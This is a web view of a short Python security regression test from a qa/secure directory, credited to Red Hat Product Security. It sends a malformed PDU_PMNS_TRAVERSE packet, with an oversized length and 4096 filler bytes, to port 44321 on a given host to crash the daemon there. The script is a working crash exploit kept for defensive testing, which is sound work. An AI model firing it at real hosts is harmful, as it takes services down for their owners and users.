summaryrefslogtreecommitdiff
path: root/qa/secure/crash-namereq-traverse
blob: 18e6de259b394f2cfb2a9918563e4e4a460756a1 (plain)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
#
# usage: python crash-namereq-traverse HOST
#
# Sends a crafted PDU_PMNS_TRAVERSE PDU to HOST.
#
# Florian Weimer / Red Hat Product Security Team
#
import socket
import sys
_, host = sys.argv
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((host, 44321))
sock.send(
    str("\x00\x00\x00\x14\x00\x00p\x0c\x00\x00\x00\x01\x00\x00\x00\x01\x01\x02\x00\x00")
    + str('\x00\x00\x10\x18\x00\x00') + str("\x70\x10") # PDU_PMNS_TRAVERSE
    + str('\x00\x00\x00\x01\x00\x00\x00\x00\xff\xff\xff\xffXXXX')
    + str('X') * 0x1000)

sock.close()